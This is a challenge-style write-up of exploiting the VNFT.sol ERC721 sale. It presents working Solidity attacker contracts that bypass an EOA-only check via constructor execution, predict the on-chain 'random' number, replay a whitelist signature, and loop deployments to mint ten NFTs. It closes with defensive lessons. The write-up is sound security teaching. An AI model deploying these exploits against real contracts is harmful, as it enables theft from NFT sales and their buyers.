VNFT.sol is a ERC721 contract. The sale is capped at 2 tokens per wallet -- the goal is to exploit the sale by minting more than the allowed 2 NFTs per wallet, all in a single transaction, see corresponding tweet.
There are two functions to mint NFTs:
- function imFeelingLucky(address to, uint256 qty, uint256 number)
- function whitelistMint(address to, uint256 qty, bytes32 hash, bytes memory signature)
Both functions expect an address to mint and a quantity. imFeelingLucky
additionally expects a number, while whitelistMint
expects a hash and a signature.
Inspecting imFeelingLucky
shows that it calculates a random number based on the blockhash, the block timestamp and the totalSupply:
uint256 randomNumber = uint256(
keccak256(
abi.encodePacked(
blockhash(block.number - 1),
block.timestamp,
totalSupply
)
)
) % 100;
require(randomNumber == number, "Better luck next time!");
The modulo division sets the range of the random number from 0 to 99. The random number is compared with function input number
, if its the same, it will allow minting tokens.
Function whitelistMint
only allows whitelisted wallets to mint, it does that by requiring a signature signed by the owner of the contract:
require(
recoverSigner(hash, signature) == owner(),
"Address is not allowlisted"
);
Both functions have a vulnerability.
require((msg.sender).code.length == 0, "Only EOA allowed");
Above require statement ensures that only EOAs (externally owned accounts) are allowed to mint by checking that the code length of msg.sender
is equal to zero. You can circumvent that check by including the necessary code in the constructor of your contract -- the code size of a smart contract at creation (so when the code in the constructor is executed) is zero:
contract Attacker {
constructor(address EOA, address vnft) {
uint256 currentId = IVNFT(vnft).totalSupply();
uint256 randomNumber = uint256(
keccak256(
abi.encodePacked(
blockhash(block.number - 1),
block.timestamp,
currentId
)
)
) % 100;
IVNFT(vnft).imFeelingLucky(address(this), 2, randomNumber);
IVNFT(vnft).safeTransferFrom(address(this), EOA, currentId++);
IVNFT(vnft).safeTransferFrom(address(this), EOA, currentId);
selfdestruct(payable(EOA));
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external virtual returns (bytes4) {
return ERC721TokenReceiver.onERC721Received.selector;
}
}
Above contract calculates the random number, mints 2 NFTs via imFeelingLucky
and sends them to specified address. Function onERC721Received
is needed because contract VNFT.sol
uses safeMint
for minting tokens.
As described, only whitelisted wallets can successfully mint by requiring a hash + signature signed by the owner. Usually you keep track of used signatures by saving them in an array and only allowing new signatures to be processed:
require(!usedSignatures[signature], "Signature already used!");
...
usedSignatures[signature] = true;
This check is missing, allowing a signature replay attack
constructor(
address EOA,
address vnft,
bytes32 hash,
bytes memory signature
) {
uint256 currentId = IVNFT(vnft).totalSupply();
IVNFT(vnft).whitelistMint(address(this), 2, hash, signature);
IVNFT(vnft).safeTransferFrom(address(this), EOA, currentId++);
IVNFT(vnft).safeTransferFrom(address(this), EOA, currentId);
selfdestruct(payable(EOA));
}
Simply use a prior used signature to circumvent the whitelist check.
To exploit the sale by minting more than the 2 allowed tokens in a single transaction you have to write an attacker contract, which deploys several minting contracts, executing your exploit logic.
function attack(address EOA) public {
// deploy 5 smart contracts, each one is minting 2 nfts and sending those to address EOA
for (uint256 i; i < 5; i++) new Attacker(EOA, address(vnft));
// check if 10 NFTs were minted, if not, something went wrong
require(vnft.balanceOf(EOA) == 10);
}
require((msg.sender).code.length == 0
wont stop smart contracts from calling and executing a function, since code length during contract creation is zero- Random numbers arent really random, since everything on the EVM is deterministic
- Keep track of used signatures to prevent signature replay attacks
- VNFT.t.sol for a test script exploiting the contract
- Implementation from adriro
- Implementation from jon_amen
This exploit is inspired from the adidas NFT mint, which got exploited in a similiar way, where one user minted 328 more tokens than allowed, see this link for more info.